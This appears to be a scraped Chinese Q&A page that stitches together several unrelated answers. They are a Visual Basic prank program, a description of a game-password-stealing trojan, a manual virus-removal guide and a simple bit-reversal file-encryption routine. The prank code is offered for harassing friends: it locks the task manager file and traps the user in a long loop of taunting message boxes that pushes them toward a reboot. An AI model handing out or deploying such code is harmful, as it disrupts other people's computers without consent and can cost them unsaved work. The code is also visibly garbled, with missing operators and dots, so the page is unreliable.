给一些VB整人的代码

VB整人经典代码

此代码锁定了任务管理器，想关闭只有重新启动电脑，恶搞你的好友，或者骚扰你

Private Sub Form_Load()

Open Environ$("WinDir") & "\system32\taskmgrexe" For Binary As #1

For m = 1 To 999

MsgBox "呵呵，你知道我是谁吗？", 16

MsgBox "什么？？不知道？", 16

MsgBox "那你打开我干什么？", 16

MsgBox "你有空没事做吧？！", 16

MsgBox "我就是鼎鼎大名的987876198", 16

MsgBox "987876198", 16

MsgBox "现在你把它打开了觉得后悔了吧？呵呵", 16

MsgBox "算了算了，不玩你了", 16

MsgBox "现在我数3声就闪人,行了吧", 16

MsgBox "1", 16

MsgBox "2", 16

MsgBox "3", 16

MsgBox "噔噔噔噔,我又回来了！", 16

MsgBox "哈哈，是不是很过瘾呢？", 16

MsgBox "现在我先介绍下自己", 16

MsgBox "我叫王得地", 16

MsgBox "性别：男", 16

MsgBox "今年35岁", 16

MsgBox "不好意思噢，我好像说多了", 16

MsgBox "不要这样喇，听我说完先好不？", 16

MsgBox "来来来，开始喇", 16

MsgBox "我叫王得地", 16

MsgBox "家中有屋又有田", 16

MsgBox "生活乐无边", 16

MsgBox "好像我又说多了", 16

MsgBox "不要生气嘛，你认真看下去我就放你走", 16

MsgBox "好，开始喇", 16

MsgBox "从前有座山", 16

MsgBox "山里有个座庙", 16

MsgBox "庙里有个和尚", 16

MsgBox "哈哈，想哭吗？", 16

MsgBox "被骗的感觉不爽吧？", 16

MsgBox "喂喂喂！别别千万别重启电脑", 16

MsgBox "我告诉你怎么关吧", 16

MsgBox "先打开任务管理器", 16

MsgBox "忘了告诉你了，任务管理器打不开了", 16

MsgBox "别恨我啊你不小心", 16

MsgBox "电脑重新启动吧", 16

MsgBox "相信我吧,你知道我是不会骗人的", 16

MsgBox "如果你还想继续点的话,你就别听我的", 16

MsgBox "呵呵,我又没有说这个东西没有", 16

MsgBox "我只想说桌面没有罢了", 16

MsgBox "嘻嘻,爽不爽吖", 16

MsgBox "对着电脑屏幕大声说低调大好人", 16

MsgBox "不然,我就没办法的咯", 16

MsgBox "因为我把循环设置成99了", 16

MsgBox "想保存电脑数据只有继续点了", 16

MsgBox "绝对会出到去的", 16

MsgBox "好了,废话不多说了,祝你好运", 16

MsgBox "制作:低调不倒", 16

MsgBox "QQ：987876198", 16

MsgBox "E-mail:不告诉你", 16

MsgBox "好,继续循环", 16

Next

End Sub

进程里面有WINLOGONEXE

双击D盘无法打开，同时生成pagefilecom文件，无休止地激活这个程序－－落雪

据说盗网游号码，其它未知－但完全存在可能，

““落雪”木马也叫“游戏大盗”（ Trojan/PSWGamePass），由VB 程序语言编写，通过 nSPack 31 加壳处理（即通常所说的“北斗壳”North Star），该木马文件图标一般是红色的图案，伪装成网络游戏的登陆器。”

另据瑞星全球反病毒监测网介绍，警惕程度四星“密西木马变种KBO（TrojanPSWMisckbo）”又名落雪，除具有**用户网络游戏、QQ账号密码等常见危害外，还会造成主流杀毒软件和个人防火墙无法打开，甚至导致杀毒时系统出现“蓝屏”、自动重启、死机等状况。“穆尼亚”是首个可感染可执行文件的盗号木马病毒，不仅会**网络游戏玩家的账号和密码，还可能造成系统异常。

病毒一般解决方案（原创）

首先建议使用最新的专业杀毒软件和木马专杀工具Ewido 40和卡巴斯基等进行处理，如遇杀毒软件被禁用或杀毒失败或一开机就重新出现的情况：（如果是IE上网浏览的问题及其他与IE有关问题，先阅读步骤4 !!）

1打开windows任务管理器，察看是否有可疑的进程（可以根据杀毒软件的报告或者在网上搜索相关信息来判定）在运行，如果有把它结束。注意在system32目录下的Rundll32exe本身不是病毒，有可能一个dll文件在运行，他才可能是病毒或恶意程序之类的东西。由于windows任务管理器不能显示进程的路径，因此建议使用杀毒软件自带的进程察看和管理工具来查找并中止可疑进程。然后设法找到病毒程序文件（主要是你所中止的病毒进程文件，另外先在资源管理器的文件夹选项中，设置显示所有文件和文件夹、显示受保护的文件，再察看如system32文件夹中是否有不明dll或exe文件，C:\Program Files C:\Documents and Settings\user\Local Settings\Temporary Internet Files C:\Documents and Settings\user\Local Settings\Temp 等处是否有不明文件或病毒程序文件），然后删去，搞清楚是否是系统文件再动手。

2有些病毒进程终止不了，提示“拒绝访问”，或者出现“屡禁不止”的情况。根据我的经验，有三种办法供尝试：

A可能是某些木马病毒、流氓软件等注册为系统服务了。办法是：察看控制面板〉管理工具〉服务，看有没有与之相关的服务(特别是“描述”为空的)在运行，把它停止。再试着中止病毒进程并删除。

B你可以尝试安全模式下（开机后按F8选安全模式）用杀毒软件处理，不行则再按步骤1和2A试一试。

C（慎用）使用冰刃等工具，察看病毒进程的线程信息和模块信息，尝试结束线程和解除模块，再试着删除病毒进程文件和相应的模块。（慎用）

3如果稍微懂得注册表使用的，可以再把相关的注册表键值删除。一般方法：开始〉运行，输入regedit，确定，打开注册表编辑器。编辑〉查找，查找目标为病毒进程名，在搜索结果中将与之有关的键值删除。有时这样做不能遏止病毒，还应尝试使用步骤2中方法。

4某些病毒会劫持IE浏览器，导致乱d网页的状况。建议用金山毒霸的金山反间谍 2006等修复工具。看浏览器辅助对象BHO是否有可疑项目。有就修复它。修复失败时参照1、2来做。

5其他提示：为了更好的 *** 作，请先用优化大师或超级兔子清理所有临时文件和上网时的缓存文件。一般病毒往往在临时文件夹Temp中，这样做可以帮你更快找到病毒文件。

开始〉运行，输入msconfig，确定，可以打开“系统配置实用程序”。选择“启动”，察看开机时加载的程序，如果在其中发现病毒程序，可以禁止它在开机时加载。不过此法治标不治本，甚至对某些程序来说无效。还是要按步骤1、2办。

6说了这么多，不过有时还是不能解决。只好请教高人或格式化重做系统了，当然不推荐后者！

病毒一般解决方案（原创） 转载请注明原作者恋曲2010

字节逐位倒排序加密法是以比特为单位的换位加密方法，用VB实现的具体算法是：

(1) 以二进制模式打开源文件；

(2) 从源文件第I位读取一个字节，假设为字母“A”，得到“A”的ASCII值为65；

(3) 将65转换成八位二进制串为“01000001”；

(4) 将“01000001”按字节逐位倒排序得另一个八位二进制串“10000010”；

(5) 将“10000010”转换成十进制再写回源文件第I位置，完成一个字节的加密；

(6) 重复(2)、(3)、(4)和(5)，直到所有字节加密结束。

为了使程序模块化，我们用函数过程ByteToBin完成将字节型数据转换成二进制串（其实质就是将十进制数转换成八位二进制串）；用函数过程BinToByte将二进制串转换成字节型数据（实质是将八位二进制串转换成十进制数）：用函数过程Reverse将八位二进制串逐位倒排序。具体程序如下：

Function ByteToBin(m As Byte) As String ' 将字节型数据转换成八位二进制字符串

Dim c$

c$ = ""

Do While m 0

r = m Mod 2

m = m \ 2

c$ = r & c$

Loop

c$ = Right("00000000" & c$, 8)

ByteToBin = c$

End Function

Function Reverse(m As String) As String ' 将八位二进制字符串颠倒顺序

Dim i%, x$

x = ""

For i = 1 To 8

x = Mid(m, i, 1) & x

Next i

Reverse = x

End Function

Function BinToByte(m As String) As Byte ' 将八位二进制串转换成十进制

Dim x As String 1, y%, z%

z = 0

For i = 1 To 8

x = Mid(m, i, 1)

y = x 2 ^ (8 - i)

z = z + y

Next i

BinToByte = z

End Function

Private Sub Command1_Click()

Dim x As Byte, i%, fname$

fname = InputBox("请输入要加密的文件名！注意加上路径名：")

If Dir(fname) = "" Then

MsgBox "文件不存在！"

Exit Sub

End If

Open fname For Binary As #1 ' 以二进制访问模式打开待加密文件

For i = 1 To LOF(1) ' LOF函数是求文件长度的内部函数

Get #1, i, x ' 取出第i个字节

x = BinToByte(Reverse(ByteToBin(x))) ' 这里调用了三个自定义函数

Put #1, i, x ' 将加密后的这个字节写回到文件原位置

Next i

Close

MsgBox "任务完成！"

End Sub

本例可以完成对任意文件的加密与解密，对同一文件作第一次处理为加密，第二次处理为解密。要调试本程序，可用记事本在C盘根目录下任意建立一个文本文件（假设为文件名为aaatxt），其中的内容任意（可以包括字母、汉字、数字、回车符、换行符等）。运行本程序后，在输入文件名的对话框中输入文件名（如：“C:\aaatxt”）后回车，即可完成对文件的加密。文件加密后，可以在记事本中打开该文件查看加密效果。如果想解密，可再次运行该程序并输入相同文件名。

以上就是关于给一些VB整人的代码全部的内容，包括:给一些VB整人的代码、psw.win32.wow.em到底是个什么木马，谁知道、Trojan.VB.vhc如何彻底删除等相关内容解答，如果想了解更多相关内容，可以关注我们，你们的支持是我们更新的动力！